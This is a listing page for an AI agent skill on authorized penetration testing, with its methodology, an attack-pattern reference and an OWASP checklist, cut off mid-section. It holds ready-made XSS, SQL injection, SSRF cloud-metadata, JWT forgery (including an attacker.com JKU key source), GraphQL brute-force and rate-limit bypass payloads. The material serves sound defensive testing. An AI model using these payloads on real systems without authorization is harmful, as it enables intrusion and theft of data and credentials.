
Security Pen Testing
- 697 installs
- 23.5k repo stars
- Updated July 17, 2026
- alirezarezvani/claude-skills
security-pen-testing is an agent skill that provides authorized, non-destructive XSS and injection test payloads and filter-bypass patterns for developers hardening web applications before release.
About
security-pen-testing is an agent skill from alirezarezvani/claude-skills containing safe, non-destructive attack pattern references for authorized penetration tests, CTF challenges, and defensive research. The skill documents reflected XSS payloads for search fields, URL parameters, form inputs, and HTTP headers, including basic script tags, img onerror, svg onload, and autofocus vectors plus filter-bypass variants with mixed-case script tags. Injection and related test patterns accompany detection guidance for validating encoding and sanitization before ship. Developers reach for security-pen-testing when hardening input handling, reviewing WAF rules, or running authorized pre-release security tests rather than unstructured payload guessing. All techniques are scoped to authorized testing only.
- Reflected XSS payload sets for search fields, URL parameters, forms, and headers
- Filter-bypass variants including case mixing, nested tags, char-code alerts, and SVG/onload vectors
- URL-encoded and context-specific attribute-breakout payloads
- Framed for authorized penetration tests, CTF practice, and defensive detection—not exploitation of third parties
Security Pen Testing by the numbers
- 697 all-time installs (skills.sh)
- Ranked #444 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: LOW risk (skills.sh audit)
- Data as of Jul 31, 2026 (Skillselion catalog sync)
npx skills add https://github.com/alirezarezvani/claude-skills --skill security-pen-testingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 697 |
|---|---|
| repo stars | ★ 23.5k |
| Security audit | 3 / 3 scanners passed |
| Last updated | July 17, 2026 |
| Repository | alirezarezvani/claude-skills ↗ |
What XSS payloads test web input encoding safely?
Apply authorized, non-destructive XSS and injection test payloads and bypass patterns while hardening web apps before release.
Who is it for?
Developers and security engineers running authorized pre-release XSS and injection tests on web application inputs.
Skip if: Skip security-pen-testing for unauthorized targets or when only infrastructure scanning without application-layer payload testing is required.
When should I use this skill?
Trigger when hardening web apps, testing XSS or injection defenses, or reviewing sanitization with authorized non-destructive payloads.
What you get
Documented reflected XSS and injection test results with filter-bypass patterns applied to authorized endpoints.
- XSS test payload set
- injection test pattern reference
Files
Security Penetration Testing
Hands-on offensive security testing skill for finding vulnerabilities before attackers do. This is NOT compliance checking (see senior-secops) or security policy writing (see senior-security) — this is about systematic vulnerability discovery through authorized testing.
---
Table of Contents
- Overview
- OWASP Top 10 Systematic Audit
- Static Analysis
- Dependency Vulnerability Scanning
- Secret Scanning
- API Security Testing
- Web Vulnerability Testing
- Infrastructure Security
- Pen Test Report Generation
- Responsible Disclosure Workflow
- Workflows
- Anti-Patterns
- Cross-References
---
Overview
What This Skill Does
This skill provides the methodology, checklists, and automation for offensive security testing — actively probing systems to discover exploitable vulnerabilities. It covers web applications, APIs, infrastructure, and supply chain security.
Distinction from Other Security Skills
| Skill | Focus | Approach |
|---|---|---|
| security-pen-testing (this) | Finding vulnerabilities | Offensive — simulate attacker techniques |
| senior-secops | Security operations | Defensive — monitoring, incident response, SIEM |
| senior-security | Security policy | Governance — policies, frameworks, risk registers |
| skill-security-auditor | CI/CD gates | Automated — pre-merge security checks |
Prerequisites
All testing described here assumes written authorization from the system owner. Unauthorized testing is illegal under the CFAA and equivalent laws worldwide. Always obtain a signed scope-of-work or rules-of-engagement document before starting.
---
OWASP Top 10 Systematic Audit
Use the vulnerability scanner tool for automated checklist generation:
# Generate OWASP checklist for a web application
python scripts/vulnerability_scanner.py --target web --scope full
# Quick API-focused scan
python scripts/vulnerability_scanner.py --target api --scope quick --jsonQuick Reference
| # | Category | Key Tests |
|---|---|---|
| A01 | Broken Access Control | IDOR, vertical escalation, CORS, JWT claim manipulation, forced browsing |
| A02 | Cryptographic Failures | TLS version, password hashing, hardcoded keys, weak PRNG |
| A03 | Injection | SQLi, NoSQLi, command injection, template injection, XSS |
| A04 | Insecure Design | Rate limiting, business logic abuse, multi-step flow bypass |
| A05 | Security Misconfiguration | Default credentials, debug mode, security headers, directory listing |
| A06 | Vulnerable Components | Dependency audit (npm/pip/go), EOL checks, known CVEs |
| A07 | Auth Failures | Brute force, session cookie flags, session invalidation, MFA bypass |
| A08 | Integrity Failures | Unsafe deserialization, SRI checks, CI/CD pipeline integrity |
| A09 | Logging Failures | Auth event logging, sensitive data in logs, alerting thresholds |
| A10 | SSRF | Internal IP access, cloud metadata endpoints, DNS rebinding |
# Audit dependencies
python scripts/dependency_auditor.py --file package.json --severity high
python scripts/dependency_auditor.py --file requirements.txt --jsonSee owasp_top_10_checklist.md for detailed test procedures, code patterns to detect, remediation steps, and CVSS scoring guidance for each category.
---
Static Analysis
Recommended tools: CodeQL (custom queries for project-specific patterns), Semgrep (rule-based scanning with auto-fix), ESLint security plugins (eslint-plugin-security, eslint-plugin-no-unsanitized).
Key patterns to detect: SQL injection via string concatenation, hardcoded JWT secrets, unsafe YAML/pickle deserialization, missing security middleware (e.g., Express without Helmet).
See attack_patterns.md for code patterns and detection payloads across injection types.
---
Dependency Vulnerability Scanning
Ecosystem commands: npm audit, pip audit, govulncheck ./..., bundle audit check
CVE Triage Workflow: 1. Collect — Run ecosystem audit tools, aggregate findings 2. Deduplicate — Group by CVE ID across direct and transitive deps 3. Prioritize — Critical + exploitable + reachable = fix immediately 4. Remediate — Upgrade, patch, or mitigate with compensating controls 5. Verify — Rerun audit to confirm fix, update lock files
python scripts/dependency_auditor.py --file package.json --severity critical --json---
Secret Scanning
Tools: TruffleHog (git history + filesystem), Gitleaks (regex-based with custom rules).
# Scan git history for verified secrets
trufflehog git file://. --only-verified --json
# Scan filesystem
trufflehog filesystem . --jsonIntegration points: Pre-commit hooks (gitleaks, trufflehog), CI/CD gates (GitHub Actions with trufflesecurity/trufflehog@main). Configure .gitleaks.toml for custom rules (AWS keys, API keys, private key headers) and allowlists for test fixtures.
---
API Security Testing
Authentication Bypass
- JWT manipulation: Change
algtonone, RS256-to-HS256 confusion, claim modification (role: "admin",exp: 9999999999) - Session fixation: Check if session ID changes after authentication
Authorization Flaws
- IDOR/BOLA: Change resource IDs in every endpoint — test read, update, delete across users
- BFLA: Regular user tries admin endpoints (expect 403)
- Mass assignment: Add privileged fields (
role,is_admin) to update requests
Rate Limiting & GraphQL
- Rate limiting: Rapid-fire requests to auth endpoints; expect 429 after threshold
- GraphQL: Test introspection (should be disabled in prod), query depth attacks, batch mutations bypassing rate limits
See attack_patterns.md for complete JWT manipulation payloads, IDOR testing methodology, BFLA endpoint lists, GraphQL introspection/depth/batch attack patterns, and rate limiting bypass techniques.
---
Web Vulnerability Testing
| Vulnerability | Key Tests |
|---|---|
| XSS | Reflected (script/img/svg payloads), Stored (persistent fields), DOM-based (innerHTML + location.hash) |
| CSRF | Replay without token (expect 403), cross-session token replay, check SameSite cookie attribute |
| SQL Injection | Error-based (' OR 1=1--), union-based enumeration, time-based blind (SLEEP(5)), boolean-based blind |
| SSRF | Internal IPs, cloud metadata endpoints (AWS/GCP/Azure), IPv6/hex/decimal encoding bypasses |
| Path Traversal | ../../../etc/passwd, URL encoding, double encoding bypasses |
See attack_patterns.md for complete test payloads (XSS filter bypasses, context-specific XSS, SQL injection per database engine, SSRF bypass techniques, and DOM-based XSS source/sink pairs).
---
Infrastructure Security
Key checks:
- Cloud storage: S3 bucket public access (
aws s3 ls s3://bucket --no-sign-request), bucket policies, ACLs - HTTP security headers: HSTS, CSP (no
unsafe-inline/unsafe-eval), X-Content-Type-Options, X-Frame-Options, Referrer-Policy - TLS configuration:
nmap --script ssl-enum-ciphers -p 443 target.comortestssl.sh— reject TLS 1.0/1.1, RC4, 3DES, export-grade ciphers - Port scanning:
nmap -sV target.com— flag dangerous open ports (FTP/21, Telnet/23, Redis/6379, MongoDB/27017)
---
Pen Test Report Generation
Generate professional reports from structured findings:
# Generate markdown report from findings JSON
python scripts/pentest_report_generator.py --findings findings.json --format md --output report.md
# Generate JSON report
python scripts/pentest_report_generator.py --findings findings.json --format json --output report.jsonFindings JSON Format
[
{
"title": "SQL Injection in Login Endpoint",
"severity": "critical",
"cvss_score": 9.8,
"cvss_vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"category": "A03:2021 - Injection",
"description": "The /api/login endpoint is vulnerable to SQL injection via the email parameter.",
"evidence": "Request: POST /api/login {\"email\": \"' OR 1=1--\", \"password\": \"x\"}\nResponse: 200 OK with admin session token",
"impact": "Full database access, authentication bypass, potential remote code execution",
"remediation": "Use parameterized queries. Replace string concatenation with prepared statements.",
"references": ["https://cwe.mitre.org/data/definitions/89.html"]
}
]Report Structure
1. Executive Summary: Business impact, overall risk level, top 3 findings 2. Scope: What was tested, what was excluded, testing dates 3. Methodology: Tools used, testing approach (black/gray/white box) 4. Findings Table: Sorted by severity with CVSS scores 5. Detailed Findings: Each with description, evidence, impact, remediation 6. Remediation Priority Matrix: Effort vs. impact for each fix 7. Appendix: Raw tool output, full payload lists
---
Responsible Disclosure Workflow
Responsible disclosure is mandatory for any vulnerability found during authorized testing. Standard timeline: report on day 1, follow up at day 7, status update at day 30, public disclosure at day 90.
Key principles: Never exploit beyond proof of concept, encrypt all communications, do not access real user data, document everything with timestamps.
See responsible_disclosure.md for full disclosure timelines (standard 90-day, accelerated 30-day, extended 120-day), communication templates, legal considerations, bug bounty program integration, and CVE request process.
---
Workflows
Workflow 1: Quick Security Check (15 Minutes)
For pre-merge reviews or quick health checks:
# 1. Generate OWASP checklist
python scripts/vulnerability_scanner.py --target web --scope quick
# 2. Scan dependencies
python scripts/dependency_auditor.py --file package.json --severity high
# 3. Check for secrets in recent commits
# (Use gitleaks or trufflehog as described in Secret Scanning section)
# 4. Review HTTP security headers
curl -sI https://target.com | grep -iE "(strict-transport|content-security|x-frame|x-content-type)"Decision: If any critical or high findings, block the merge.
Workflow 2: Full Penetration Test (Multi-Day Assessment)
Day 1 — Reconnaissance: 1. Map the attack surface: endpoints, authentication flows, third-party integrations 2. Run automated OWASP checklist (full scope) 3. Run dependency audit across all manifests 4. Run secret scan on full git history
Day 2 — Manual Testing: 1. Test authentication and authorization (IDOR, BOLA, BFLA) 2. Test injection points (SQLi, XSS, SSRF, command injection) 3. Test business logic flaws 4. Test API-specific vulnerabilities (GraphQL, rate limiting, mass assignment)
Day 3 — Infrastructure and Reporting: 1. Check cloud storage permissions 2. Verify TLS configuration and security headers 3. Port scan for unnecessary services 4. Compile findings into structured JSON 5. Generate pen test report
# Generate final report
python scripts/pentest_report_generator.py --findings findings.json --format md --output pentest-report.mdWorkflow 3: CI/CD Security Gate
Automated security checks on every PR: secret scanning (TruffleHog), dependency audit (npm audit, pip audit), SAST (Semgrep with p/security-audit, p/owasp-top-ten), and security headers check on staging.
Gate Policy: Block merge on critical/high findings. Warn on medium. Log low/info.
---
Anti-Patterns
1. Testing in production without authorization — Always get written permission and use staging/test environments when possible 2. Ignoring low-severity findings — Low findings compound; a chain of lows can become a critical exploit path 3. Skipping responsible disclosure — Every vulnerability found must be reported through proper channels 4. Relying solely on automated tools — Tools miss business logic flaws, chained exploits, and novel attack vectors 5. Testing without a defined scope — Scope creep leads to legal liability; document what is and isn't in scope 6. Reporting without remediation guidance — Every finding must include actionable remediation steps 7. Storing evidence insecurely — Pen test evidence (screenshots, payloads, tokens) is sensitive; encrypt and restrict access 8. One-time testing — Security testing must be continuous; integrate into CI/CD and schedule periodic assessments
---
Cross-References
| Skill | Relationship |
|---|---|
| senior-secops | Defensive security operations — monitoring, incident response, SIEM configuration |
| senior-security | Security policy and governance — frameworks, risk registers, compliance |
| dependency-auditor | Deep supply chain security — SBOMs, license compliance, transitive risk |
| code-reviewer | Code review practices — includes security review checklist |
Attack Patterns Reference
Safe, non-destructive test payloads and detection patterns for authorized security testing. All techniques here are for use in authorized penetration tests, CTF challenges, and defensive research only.
---
XSS Test Payloads
Reflected XSS
These payloads test whether user input is reflected in HTTP responses without proper encoding. Use in search fields, URL parameters, form inputs, and HTTP headers.
Basic payloads:
<script>alert(document.domain)</script>
"><script>alert(document.domain)</script>
'><script>alert(document.domain)</script>
<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<body onload=alert(document.domain)>
<input onfocus=alert(document.domain) autofocus>
<marquee onstart=alert(document.domain)>
<details open ontoggle=alert(document.domain)>Filter bypass payloads:
<ScRiPt>alert(document.domain)</ScRiPt>
<scr<script>ipt>alert(document.domain)</scr</script>ipt>
<script>alert(String.fromCharCode(100,111,99,117,109,101,110,116,46,100,111,109,97,105,110))</script>
<img src=x onerror="alert(1)">
<svg/onload=alert(document.domain)>
javascript:alert(document.domain)//URL encoding payloads:
%3Cscript%3Ealert(document.domain)%3C/script%3E
%3Cimg%20src%3Dx%20onerror%3Dalert(document.domain)%3EContext-specific payloads:
Inside HTML attribute:
" onmouseover="alert(document.domain)
' onfocus='alert(document.domain)' autofocus='Inside JavaScript string:
';alert(document.domain);//
\';alert(document.domain);//
</script><script>alert(document.domain)</script>Inside CSS:
expression(alert(document.domain))
url(javascript:alert(document.domain))Stored XSS
Test these in persistent fields: user profiles, comments, forum posts, file upload names, chat messages.
<img src=x onerror=alert(document.domain)>
<a href="javascript:alert(document.domain)">click me</a>
<svg><animate onbegin=alert(document.domain) attributeName=x dur=1s>DOM-Based XSS
Look for JavaScript that reads from these sources and writes to dangerous sinks:
Sources (attacker-controlled input):
document.location
document.location.hash
document.location.search
document.referrer
window.name
document.cookie
localStorage / sessionStorage
postMessage dataSinks (dangerous output):
element.innerHTML
element.outerHTML
document.write()
document.writeln()
eval()
setTimeout(string)
setInterval(string)
new Function(string)
element.setAttribute("onclick", ...)
location.href = ...
location.assign(...)Detection pattern: Search for any code path where a Source flows into a Sink without sanitization.
---
SQL Injection Detection Patterns
Detection Payloads
Error-based detection:
' -- Single quote triggers SQL error
" -- Double quote
\ -- Backslash
' OR '1'='1 -- Boolean true
' OR '1'='2 -- Boolean false (compare responses)
' AND 1=1-- -- Boolean true with comment
' AND 1=2-- -- Boolean false (compare responses)
1 OR 1=1 -- Numeric injection
1 AND 1=2 -- Numeric falseUnion-based enumeration (authorized testing only):
-- Step 1: Find column count
' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- Increment until error
' UNION SELECT NULL--
' UNION SELECT NULL,NULL-- -- Match column count
-- Step 2: Find displayable columns
' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
-- Step 3: Extract database info
' UNION SELECT version(),NULL,NULL--
' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--Time-based blind injection:
-- MySQL
' AND SLEEP(5)--
' AND IF(1=1, SLEEP(5), 0)--
' AND IF(SUBSTRING(version(),1,1)='5', SLEEP(5), 0)--
-- PostgreSQL
' AND pg_sleep(5)--
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--
-- MSSQL
'; WAITFOR DELAY '0:0:5'--
' AND 1=(SELECT CASE WHEN (1=1) THEN 1 ELSE 0 END)--Boolean-based blind injection:
-- Extract data one character at a time
' AND SUBSTRING(username,1,1)='a'--
' AND ASCII(SUBSTRING(username,1,1))>96--
' AND ASCII(SUBSTRING(username,1,1))>109-- -- Binary searchDatabase-Specific Syntax
| Feature | MySQL | PostgreSQL | MSSQL | SQLite |
|---|---|---|---|---|
| String concat | CONCAT('a','b') | `'a' \ | \ | 'b'` |
| Comment | -- or # | -- | -- | -- |
| Version | VERSION() | version() | @@version | sqlite_version() |
| Current user | CURRENT_USER() | current_user | SYSTEM_USER | N/A |
| Sleep | SLEEP(5) | pg_sleep(5) | WAITFOR DELAY '0:0:5' | N/A |
---
SSRF Detection Techniques
Basic Payloads
http://127.0.0.1
http://localhost
http://0.0.0.0
http://[::1] -- IPv6 localhost
http://[0000::1] -- IPv6 localhost (expanded)Cloud Metadata Endpoints
# AWS EC2 Metadata (IMDSv1)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/user-data
# AWS EC2 Metadata (IMDSv2 — requires token header)
# Step 1: curl -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" -X PUT http://169.254.169.254/latest/api/token
# Step 2: curl -H "X-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
# GCP Metadata
http://metadata.google.internal/computeMetadata/v1/
http://169.254.169.254/computeMetadata/v1/
# Azure Metadata
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token
# DigitalOcean Metadata
http://169.254.169.254/metadata/v1/Bypass Techniques
IP encoding tricks:
http://0x7f000001 -- Hex encoding of 127.0.0.1
http://2130706433 -- Decimal encoding of 127.0.0.1
http://0177.0.0.1 -- Octal encoding
http://127.1 -- Shortened
http://127.0.0.1.nip.io -- DNS rebinding via nip.ioURL parsing inconsistencies:
http://127.0.0.1@evil.com -- URL authority confusion
http://evil.com#@127.0.0.1 -- Fragment confusion
http://127.0.0.1%00@evil.com -- Null byte injection
http://evil.com\@127.0.0.1 -- Backslash confusionRedirect chains:
# If the app follows redirects, find an open redirect first:
https://target.com/redirect?url=http://169.254.169.254/---
JWT Manipulation Patterns
Decode Without Verification
JWTs are Base64URL-encoded and can be decoded without the secret:
# Decode header
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
# Output: {"alg":"HS256"}
# Decode payload
echo "eyJ1c2VyIjoiYWRtaW4ifQ" | base64 -d
# Output: {"user":"admin"}Algorithm Confusion Attacks
None algorithm attack:
// Original header
{"alg": "HS256", "typ": "JWT"}
// Modified header — set algorithm to none
{"alg": "none", "typ": "JWT"}
// Token format: header.payload. (empty signature)RS256 to HS256 confusion: If the server uses RS256 (asymmetric), try: 1. Get the server's RSA public key (from JWKS endpoint or TLS certificate) 2. Change alg to HS256 3. Sign the token using the RSA public key as the HMAC secret 4. If the server naively uses the configured key for both algorithms, it will verify the HMAC with the public key
Claim Manipulation
// Common claims to modify:
{
"sub": "1234567890", // Change to another user's ID
"role": "admin", // Escalate from "user" to "admin"
"is_admin": true, // Toggle admin flag
"exp": 9999999999, // Extend expiration far into the future
"aud": "admin-api", // Change audience
"iss": "trusted-issuer" // Spoof issuer
}Weak Secret Brute Force
Common JWT secrets to try (if you have a valid token to test against):
secret
password
123456
your-256-bit-secret
jwt_secret
changeme
mysecretkey
HS256-secretUse tools like jwt-cracker or hashcat -m 16500 for dictionary attacks.
JWKS Injection
If the server fetches keys from a JWKS URL in the JWT header:
{
"alg": "RS256",
"jku": "https://attacker.com/.well-known/jwks.json"
}Host your own JWKS with a key pair you control.
---
API Authorization Testing (IDOR, BOLA)
IDOR Testing Methodology
Step 1: Identify resource identifiers Map all API endpoints and find parameters that reference resources:
GET /api/users/{id}/profile
GET /api/orders/{orderId}
GET /api/documents/{docId}/download
PUT /api/users/{id}/settings
DELETE /api/comments/{commentId}Step 2: Create two test accounts
- User A (attacker) and User B (victim)
- Authenticate as both and capture their tokens
Step 3: Cross-account access testing Using User A's token, request User B's resources:
# Read
GET /api/users/{B_id}/profile → Should be 403
GET /api/orders/{B_orderId} → Should be 403
# Write
PUT /api/users/{B_id}/settings → Should be 403
PATCH /api/orders/{B_orderId} → Should be 403
# Delete
DELETE /api/comments/{B_commentId} → Should be 403Step 4: ID manipulation
# Sequential IDs — increment/decrement
/api/users/100 → /api/users/101
# UUID prediction — not practical, but test for leaked UUIDs
# Check if UUIDs appear in other responses
# Encoded IDs — decode and modify
/api/users/MTAw → base64 decode = "100" → encode "101" = MTAx
# Hash-based IDs — check for predictable hashing
/api/users/md5(email) → compute md5 of known emailsBFLA (Broken Function Level Authorization)
Test access to administrative functions:
# As regular user, try admin endpoints:
POST /api/admin/users → 403
DELETE /api/admin/users/123 → 403
PUT /api/admin/settings → 403
GET /api/admin/reports → 403
POST /api/admin/impersonate/user123 → 403
# Try HTTP method override:
GET /api/admin/users with X-HTTP-Method-Override: DELETE
POST /api/admin/users with _method=DELETEMass Assignment Testing
// Normal user update request:
PUT /api/users/profile
{
"name": "Normal User",
"email": "user@test.com"
}
// Mass assignment attempt — add privileged fields:
PUT /api/users/profile
{
"name": "Normal User",
"email": "user@test.com",
"role": "admin",
"is_verified": true,
"is_admin": true,
"balance": 99999,
"subscription": "enterprise",
"permissions": ["admin", "superadmin"]
}
// Then check if any extra fields were persisted:
GET /api/users/profile---
GraphQL Security Testing Patterns
Introspection Query
Use this to map the entire schema (should be disabled in production):
{
__schema {
queryType { name }
mutationType { name }
types {
name
kind
fields {
name
type {
name
kind
ofType { name kind }
}
args { name type { name } }
}
}
}
}Query Depth Attack
Nested queries can cause exponential resource consumption:
{
users {
friends {
friends {
friends {
friends {
friends {
friends {
name
}
}
}
}
}
}
}
}Mitigation check: Server should return an error like "Query depth exceeds maximum allowed depth."
Query Complexity Attack
Wide queries with aliases:
{
a: users(limit: 1000) { name email }
b: users(limit: 1000) { name email }
c: users(limit: 1000) { name email }
d: users(limit: 1000) { name email }
e: users(limit: 1000) { name email }
}Batch Query Attack
Send multiple operations in a single request to bypass rate limiting:
[
{"query": "mutation { login(user:\"admin\", pass:\"pass1\") { token } }"},
{"query": "mutation { login(user:\"admin\", pass:\"pass2\") { token } }"},
{"query": "mutation { login(user:\"admin\", pass:\"pass3\") { token } }"},
{"query": "mutation { login(user:\"admin\", pass:\"pass4\") { token } }"},
{"query": "mutation { login(user:\"admin\", pass:\"pass5\") { token } }"}
]Field Suggestion Exploitation
GraphQL often suggests similar field names on typos:
{ users { passwor } }
# Response: "Did you mean 'password'?"Use this to discover hidden fields without full introspection.
Authorization Bypass via Fragments
query {
publicUser(id: 1) {
name
...on User {
email # Should be restricted
ssn # Should be restricted
creditCard # Should be restricted
}
}
}---
Rate Limiting Bypass Techniques
These techniques help verify that rate limiting is robust during authorized testing:
# IP rotation — test if rate limiting is per-IP only
X-Forwarded-For: 1.2.3.4
X-Real-IP: 1.2.3.4
X-Originating-IP: 1.2.3.4
# Case variation — test if endpoints are case-sensitive
/api/login
/API/LOGIN
/Api/Login
# Path variation
/api/login
/api/login/
/api/./login
/api/login?dummy=1
# HTTP method variation
POST /api/login
PUT /api/login
# Unicode encoding
/api/logi%6EIf any of these bypass rate limiting, the implementation needs hardening.
---
Static Analysis Tool Configurations
CodeQL Custom Rules
Write custom CodeQL queries for project-specific vulnerability patterns:
/**
* Detect SQL injection via string concatenation
*/
import python
import semmle.python.dataflow.new.DataFlow
from Call call, StringFormatting fmt
where
call.getFunc().getName() = "execute" and
fmt = call.getArg(0) and
exists(DataFlow::Node source |
source.asExpr() instanceof Name and
DataFlow::localFlow(source, DataFlow::exprNode(fmt.getAnOperand()))
)
select call, "Potential SQL injection: user input flows into execute()"Semgrep Custom Rules
rules:
- id: hardcoded-jwt-secret
pattern: |
jwt.encode($PAYLOAD, "...", ...)
message: "JWT signed with hardcoded secret"
severity: ERROR
languages: [python]
- id: unsafe-yaml-load
pattern: yaml.load($DATA)
fix: yaml.safe_load($DATA)
message: "Use yaml.safe_load() to prevent arbitrary code execution"
severity: WARNING
languages: [python]
- id: express-no-helmet
pattern: |
const app = express();
...
app.listen(...)
pattern-not: |
const app = express();
...
app.use(helmet(...));
...
app.listen(...)
message: "Express app missing helmet middleware for security headers"
severity: WARNING
languages: [javascript, typescript]ESLint Security Plugins
Recommended configuration:
{
"plugins": ["security", "no-unsanitized"],
"extends": ["plugin:security/recommended"],
"rules": {
"security/detect-object-injection": "error",
"security/detect-non-literal-regexp": "warn",
"security/detect-unsafe-regex": "error",
"security/detect-buffer-noassert": "error",
"security/detect-eval-with-expression": "error",
"no-unsanitized/method": "error",
"no-unsanitized/property": "error"
}
}OWASP Top 10 (2021) — Detailed Security Checklist
Comprehensive reference for each OWASP Top 10 category with descriptions, test procedures, code patterns to detect, remediation steps, and CVSS scoring guidance.
---
A01:2021 — Broken Access Control
CWEs Covered: CWE-200, CWE-201, CWE-352, CWE-639, CWE-862, CWE-863
Description
Access control enforces policy so users cannot act outside their intended permissions. Failures typically lead to unauthorized disclosure, modification, or destruction of data, or performing business functions outside the user's limits.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | Horizontal privilege escalation | Change user ID in API requests (/users/123 to /users/124) | 403 Forbidden |
| 2 | Vertical privilege escalation | Access admin endpoints with regular user token | 403 Forbidden |
| 3 | CORS validation | Send request with Origin: https://evil.com | Access-Control-Allow-Origin must not reflect arbitrary origins |
| 4 | Forced browsing | Request /admin, /debug, /api/internal, /.env, /swagger.json | 403 or 404 |
| 5 | Method-based bypass | Try POST instead of GET, or PUT instead of PATCH | Authorization checks apply regardless of HTTP method |
| 6 | JWT claim manipulation | Modify role, is_admin, user_id claims, re-sign with weak secret | 401 Unauthorized |
| 7 | Path traversal in authorization | Request /api/users/../admin/settings | Canonical path check must reject traversal |
| 8 | API endpoint enumeration | Fuzz API paths with wordlists | Only documented endpoints should respond |
Code Patterns to Detect
# BAD: No authorization check on resource access
@app.route("/api/documents/<doc_id>")
def get_document(doc_id):
return Document.query.get(doc_id).to_json() # No ownership check!
# GOOD: Verify ownership
@app.route("/api/documents/<doc_id>")
@login_required
def get_document(doc_id):
doc = Document.query.get_or_404(doc_id)
if doc.owner_id != current_user.id:
abort(403)
return doc.to_json()// BAD: Client-side only access control
{isAdmin && <AdminPanel />} // Hidden but still accessible via API
// GOOD: Server-side middleware
app.use('/admin/*', requireRole('admin'));Remediation
1. Deny by default — require explicit authorization for every endpoint 2. Implement server-side access control, never rely on client-side checks 3. Use UUIDs instead of sequential IDs for resource identifiers 4. Log and alert on access control failures 5. Rate limit API requests to minimize automated enumeration 6. Disable CORS or restrict to specific trusted origins 7. Invalidate server-side sessions on logout
CVSS Scoring Guidance
- Horizontal escalation (read): CVSS 6.5 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
- Horizontal escalation (write): CVSS 8.1 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Vertical escalation to admin: CVSS 8.8 — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Unauthenticated admin access: CVSS 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
---
A02:2021 — Cryptographic Failures
CWEs Covered: CWE-259, CWE-327, CWE-328, CWE-330, CWE-331
Description
Failures related to cryptography that often lead to sensitive data exposure. This includes using weak algorithms, improper key management, and transmitting data in cleartext.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | TLS version | nmap --script ssl-enum-ciphers -p 443 target | Only TLS 1.2+ accepted |
| 2 | Certificate validity | openssl s_client -connect target:443 | Valid cert, not self-signed |
| 3 | HSTS header | Check response headers | Strict-Transport-Security: max-age=31536000 |
| 4 | Password storage | Review auth code | bcrypt/scrypt/argon2 with cost >= 10 |
| 5 | Sensitive data in URLs | Review access logs | No tokens, passwords, or PII in query params |
| 6 | Encryption at rest | Check database/storage config | Sensitive fields encrypted (AES-256-GCM) |
| 7 | Key management | Review key storage | Keys in secrets manager, not in code/env files |
| 8 | Random number generation | Review token generation code | Uses crypto-grade PRNG (secrets module, crypto.randomBytes) |
Code Patterns to Detect
# BAD: MD5 for password hashing
password_hash = hashlib.md5(password.encode()).hexdigest()
# BAD: Hardcoded encryption key
cipher = AES.new(b"mysecretkey12345", AES.MODE_GCM)
# BAD: Weak random for tokens
token = str(random.randint(100000, 999999))
# GOOD: bcrypt for passwords
password_hash = bcrypt.hashpw(password.encode(), bcrypt.gensalt(rounds=12))
# GOOD: Secrets module for tokens
token = secrets.token_urlsafe(32)Remediation
1. Use TLS 1.2+ for all data in transit; redirect HTTP to HTTPS 2. Use bcrypt (cost 12+), scrypt, or argon2id for password hashing 3. Use AES-256-GCM for encryption at rest 4. Store keys in a secrets manager (Vault, AWS Secrets Manager, GCP Secret Manager) 5. Use secrets (Python) or crypto.randomBytes (Node.js) for token generation 6. Enable HSTS with preload 7. Never store sensitive data in URLs or logs
CVSS Scoring Guidance
- Cleartext transmission of passwords: CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weak password hashing (MD5): CVSS 7.5 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Hardcoded encryption key: CVSS 7.2 — AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
---
A03:2021 — Injection
CWEs Covered: CWE-20, CWE-74, CWE-75, CWE-77, CWE-78, CWE-79, CWE-89
Description
Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. Includes SQL, NoSQL, OS command, LDAP, XPath, and template injection.
Test Procedures
| # | Test | Method | Expected Result |
|---|---|---|---|
| 1 | SQL injection | Submit ' OR 1=1-- in input fields | No data leakage, proper error handling |
| 2 | Blind SQL injection | Submit ' AND SLEEP(5)-- | No 5-second delay in response |
| 3 | NoSQL injection | Submit {"$gt":""} in JSON fields | No data leakage |
| 4 | XSS (reflected) | Submit <script>alert(1)</script> | Input is escaped/encoded in response |
| 5 | XSS (stored) | Submit payload in persistent fields | Payload is sanitized before storage |
| 6 | Command injection | Submit ; whoami in fields | No command execution |
| 7 | Template injection | Submit {{7*7}} | No "49" in response |
| 8 | LDAP injection | Submit `)(uid=))( | (uid=*` |
Code Patterns to Detect
# BAD: String concatenation in SQL
cursor.execute("SELECT * FROM users WHERE email = '" + email + "'")
cursor.execute(f"SELECT * FROM users WHERE email = '{email}'")
# GOOD: Parameterized query
cursor.execute("SELECT * FROM users WHERE email = %s", (email,))// BAD: Template literal in SQL
db.query(`SELECT * FROM users WHERE id = ${userId}`);
// GOOD: Parameterized query
db.query('SELECT * FROM users WHERE id = $1', [userId]);Remediation
